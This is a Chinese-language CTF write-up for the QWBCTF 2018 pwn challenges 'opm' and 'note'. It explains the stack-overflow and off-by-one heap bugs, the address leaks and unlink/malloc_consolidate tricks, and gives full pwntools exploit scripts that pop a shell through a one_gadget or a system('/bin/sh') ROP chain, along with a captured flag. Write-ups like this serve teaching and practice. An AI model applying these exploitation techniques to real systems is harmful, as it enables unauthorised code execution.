QWBCTF 2018 PWN 部分题解

opm

题目分析

本题逻辑比较清晰,仅有两个功能,添加成员和展示全部成员两个功能。

其中,在BSS段上维护了一个数组,用于存储成员的数据结构。该数据结构包括两个从堆上申请的数据块组成。

分别是定长为0x30(new(0x20))的节点,和由malloc(len(s))申请的动态节点构成。

1
2
3
4
0             8             16          24        
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| function ptr | address | length | int |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

添加用户函数主要就是维护这个变量

展示全部成员就是利用function ptr来打印全部成员变量的内容。

漏洞利用

此题在add_role函数中,十分明显的使用gets(s)留出了两个栈溢出漏洞,但是此题开启了全部保护,让所有地址均位置。并且gets函数有一个非常明显的弊端,会在输入的最后加入’\0’,泄露更加困难。

其实,这道题主要考察堆地址的构造,因为和堆块大小关系并不大。

堆地址泄露

首先,申请一个较大的块,保证不出现溢出,这样使下一块分配地址是,输入内容部分会申请得到以00结尾的字符串。

然后,申请一个包含溢出的块,如’b’*0x80+’\x20’,如此一来,会把本来要写到节点堆块的数据向上写入,写到以0020结尾的段地址空间去,由于此题在前方已申请了大量空间,所以保证以0020为结尾的块,不会出现由于未mmap,导致的段错误。这样相当于在一个末位2字节已知的地址,写入了第二个数据结构内容部分的地址。

然后,申请一个刚好为0x80的块,如’c’*0x80,这样,gets输入的\0会覆盖要写入的地址,这样就会将地址写入到最低一字节为00的地址去,根据堆地址的构造,这个地方恰好属于第二个块的内容部分,且被’b’填充,当写入后,如果可以利用printf等函数打印出第二个块内容,就可以成功泄露堆地址了。当然,直接show一定是不行的。

最后,再次申请一个数据块,在第一部分输入内容时并不溢出而在第二个输入数字处溢出一个字节,使这个地址变成第二个块地址写入的0020结尾的地址,此题恰好保证分配过程中前6字节数据不变,在写入int后,就会执行打印操作,也就是打印第二块的内容,顺便打印出了堆地址。

1
2
3
4
add('a'*0x78,1)
add('b'*0x80+'\x20',2)
add('c'*0x80,3)
add('d'*0x18,'d'*0x80+'\x20')

有了堆地址以后,相当于堆分配的全部地址均可预测。(所谓预测,就是写到每步的时候动态调一下,然后直接找当时的内存做减法)

###PIE泄露

首先,可以利用堆地址反向解析出第一块自定义的存储print函数的堆块地址,将这个写入到某堆块内容中去,而这个新申请堆块的值也是可以预测的,因此,再申请一块堆,使其溢出溢出到前一个内容块的地址-0x08处去,相当于在前一块堆上构造了一个伪造的节点,这样就可以泄露print函数的地址,也就相当于PIE地址。

libc地址泄露

与PIE泄露类似,通过PIE,可以获取puts函数的got表地址,利用这个地址已经同样的泄露方法,可以获取libc的地址。

控制流劫持

控制流劫持的方法与这个方法一样,同样在堆上构造一个伪造的块,其中填入one_gadget的地址,再次申请一个堆块,覆盖返回值为上一块的内容,最后调用show函数,就可以执行one_gadget了,从而拿到shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
from ctypes import *
debug = 1
elf = ELF('./opm')

if debug:
p = process('./opm')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

else:
p = remote('39.107.33.43', 13572)
context.log_level = 'debug'

def add(name,punch):
p.recvuntil('(E)xit\n')
p.sendline('A')
p.recvuntil('name:\n')
p.sendline(name)
p.recvuntil('punch?\n')
p.sendline(str(punch))

def show():
p.recvuntil('(E)xit\n')
p.sendline('S')

add('a'*0x78,1)
add('b'*0x80+'\x20',2)
add('c'*0x80,3)
add('d'*0x18,'d'*0x80+'\x20')
p.recvuntil('<bbbbbbbb')
heap_addr = u64(p.recvuntil('>')[:-1].ljust(8,'\x00'))
print '[*] heap : ', hex(heap_addr)
offset = 0x0000561b9016ec20 - 0x561b9016edc0
print_addr1 = heap_addr + offset
offset2 = 0x55f94cef9ed0 - 0x55f94cef9dc0
print '[*] ptr_addr : ', hex(print_addr1)
add(p64(print_addr1),'4')
add('e'*10 , 'e'*0x80 + p64(heap_addr + offset2 -8))
p.recvuntil('<')
PIE = u64(p.recvuntil('>')[:-1].ljust(8,'\x00')) - 0XB30
print '[*] pie : ', hex(PIE)
add(p64(PIE+elf.got['puts']),'5')
offset3 = 0x55f960027f70 - 0x55f960027dc0
add('f'*10 , 'f'*0x80 + p64(heap_addr + offset3 -8))
p.recvuntil('<')
libc.address = u64(p.recvuntil('>')[:-1].ljust(8,'\x00')) - libc.symbols['puts']
print '[*] system : ', hex(libc.symbols['system'])
add(p64(libc.address + 0x4526a),'6')
block_exploit = heap_addr +0x5608f0cd5010 - 0x5608f0cd4dc0
add('/bin/sh\0'+'\x00'*0x78 + p64(block_exploit) ,1)
gdb.attach(p)


p.interactive()

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''

note

题目分析

此题最开始发现是标准的socket + fork写法,这样写法通常是会爆破canary或者地址,但是note这题暂时没用上。

经AAA战队的大佬提醒,在note2题目中会用到,to becontinue…

直接来看fork之后的函数,首先就是会getpwnam(”note“)操作,调试的时候,直接新建一个这个用户就能过了..

关键函数中,主要申请了3块内存

对于title这个变量,是有限制的,遇到0x26232722403f210a任意一个时会截断,这样截断后会在堆块末尾写入这个截断值,此时会有一个溢出(off-by-one)。

对于content变量,理论上智能改变3次,使用realloc进行扩容或者缩小。并且提供打印功能。

对于comment变量是任意写的。

漏洞利用

此题比较特殊的点在于题目没有free,当没有free时,就需要创造free了…

通过阅读realloc代码,可以发现其处理逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
else
{
/* Try to expand forward into top */
if (next == av->top &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb + MINSIZE))
{
...
}

/* Try to expand forward into next chunk; split off remainder below */
else if (next != av->top &&
!inuse (next) &&
(unsigned long) (newsize = oldsize + nextsize) >=
(unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}

/* allocate, copy, free */
else
{
** newmem = _int_malloc (av, nb - MALLOC_ALIGN_MASK);
if (newmem == 0)
return 0; /* propagate failure */

newp = mem2chunk (newmem);
newsize = chunksize (newp);

/*
Avoid copy if newp is next chunk after oldp.
*/
if (newp == next)
{
newsize += oldsize;
newp = oldp;
}
else
{
/*
Unroll copy of <= 36 bytes (72 if 8byte sizes)
We know that contents have an odd number of
INTERNAL_SIZE_T-sized words; minimally 3.
*/
......

** _int_free (av, oldp, 1);
check_inuse_chunk (av, newp);
return chunk2mem (newp);
}

在标**的行发现,realloc当想要拓展当前块的时候,会检查下一块释放被占用,如果被占用,则会利用int_malloc函数申请一个新的堆块,并且释放原来占用的堆块。

分析一下现状:

  • 存在一个指针数组在bss段上,指针会指向堆地址

  • 存在off-by-one,可以修改content所在堆块大小,但只能修改为特定值,且小于原来的堆块大小

  • content前块和后块内容均可以任意写

想到的一个思路是unlink,这样就可以劫持bss段的数组进而可以任意读任意写。

首先,想到content块会变小,如果与后面的堆空间unlink,会过不去libc的检测,因为没有指针指向后块地址,因此需要选择前块作为unlink的目标块,则size需要覆盖为pre_inuse为0的值(0x40),选定了这个值以后,前块的fake chunk就可以构造了。

然后,需要思考如何触发unlink。在第一次realloc时,libc会将改小的堆块放到fastbin中去,而这时需要如何触发unlink呢?

在查看代码中发现,malloc_consolidate函数会对fastbin链中各个堆块进行遍历,对符合前后块!inuse的堆块做unlink,这样恰好符合需求。

在什么时候会触发malloc_consolidate呢?在_int_malloc 中发现,在申请较大堆块,导致前面的一系列分配均无法满足时,会触发该函数。因此,我选择申请0x21000大小的堆块,该堆块大于brk分配的初始堆大小,则一定可以触发malloc_consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...  
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/

else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
...

剩下的步骤,就是如何构造前后堆块使其在malloc_consolidate中可以通过系统的check了。

当这一步完成时,在bss段上的指针数组里,就出现交叉的情况了,通过编辑title内容,就可以对bss段数组上的数据任意写,并且可以写多次。

首先利用got表泄露libc地址,然后再泄露libc中environ变量的地址(栈地址),最后对返回地址写入rop,就可以拿到shell了(其实最简单的方法是对__malloc_hook写one_gadget,但测试过程中,libc的四个one_gadget均不可用…)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
from ctypes import *
debug = 0
elf = ELF('./note')
#flag{t1-1_1S_0_sImPl3_n0T3}
if debug:
p = remote('127.0.0.1', 1234)#process('./300')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'
else:
p = remote('39.107.14.183', 1234)
libc = ELF('./libc-2.23.so')
#off = 0x001b0000
context.log_level = 'debug'

def change_title(title):
p.recvuntil('-->>')
p.sendline('1')
p.recvuntil('title:')
p.send(title)
def change_content(size,content):
p.recvuntil('-->>')
p.sendline('2')
p.recvuntil('(64-256):')
p.sendline(str(size))
p.recvuntil('content:')
p.send(content)
def change_comment(content):
p.recvuntil('-->>')
p.sendline('3')
p.recvuntil('comment:')
p.sendline(content)

def show_content():
p.recvuntil('-->>')
p.sendline('4')
p.recvuntil('welcome to the note ')
offset = int(p.recv(4),10)
print '[*]', str(offset + 0x10),hex(offset +0x10)
change_content(0x78,p64(0x41)*(8)+p64(0x80)*7+'\n')
change_title(p64(0x11)+p64(0x81)+p64(0x602070-0x18)+p64(0x602070-0x10)+p64(0x20)+'@')
change_content(150,'a'*110+'\n')
change_title(p64(offset+0x10-0x20)+p64(0x81)+p64(0x602070-0x18)+p64(0x602070-0x10)+p64(0x20)+'a')
change_content(0x21000,'a'*110+'\n')
change_title(p64(0x602058)+p64(elf.got['puts'])+p64(0x78)+p64(0x602058)+'\n')
show_content()
p.recvuntil('is:')
libc.address = u64(p.recv(6).ljust(8,'\0')) - libc.symbols['puts']
print '[+] system: ',hex(libc.symbols['system'])
change_comment(p64(0x602058)+p64(libc.symbols['environ'])+p64(0x78)+p64(0x602058)+'\n')
show_content()
p.recvuntil('is:')
stack_addr = u64(p.recv(6).ljust(8,'\0'))
print '[+] stack: ',hex(stack_addr)
offset = 0x7fffffffe4b8- 0x7fffffffe338
change_comment(p64(stack_addr - offset )+p64(libc.symbols['environ'])+p64(0x78)+p64(0x602058)+'\n')

change_comment(p64(0x0000000000401673)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system']))


p.interactive()
'''
Gadgets information
============================================================
0x000000000040166c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040166e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401670 : pop r14 ; pop r15 ; ret
0x0000000000401672 : pop r15 ; ret
0x000000000040166b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040166f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400e00 : pop rbp ; ret
0x0000000000401673 : pop rdi ; ret
0x0000000000401671 : pop rsi ; pop r15 ; ret
0x000000000040166d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c71 : ret
0x00000000004002c1 : ret 0x200
0x0000000000401300 : ret 0x8948
0x00000000004012f6 : ret 0x8b48
0x0000000000400fe5 : ret 0xb60f

Unique gadgets found: 15
'''
文章目录
  1. 1. opm
    1. 1.1. 题目分析
    2. 1.2. 漏洞利用
      1. 1.2.1. 堆地址泄露
      2. 1.2.2. libc地址泄露
      3. 1.2.3. 控制流劫持
    3. 1.3. EXP
  2. 2. note
    1. 2.1. 题目分析
    2. 2.2. 漏洞利用
    3. 2.3. EXP
|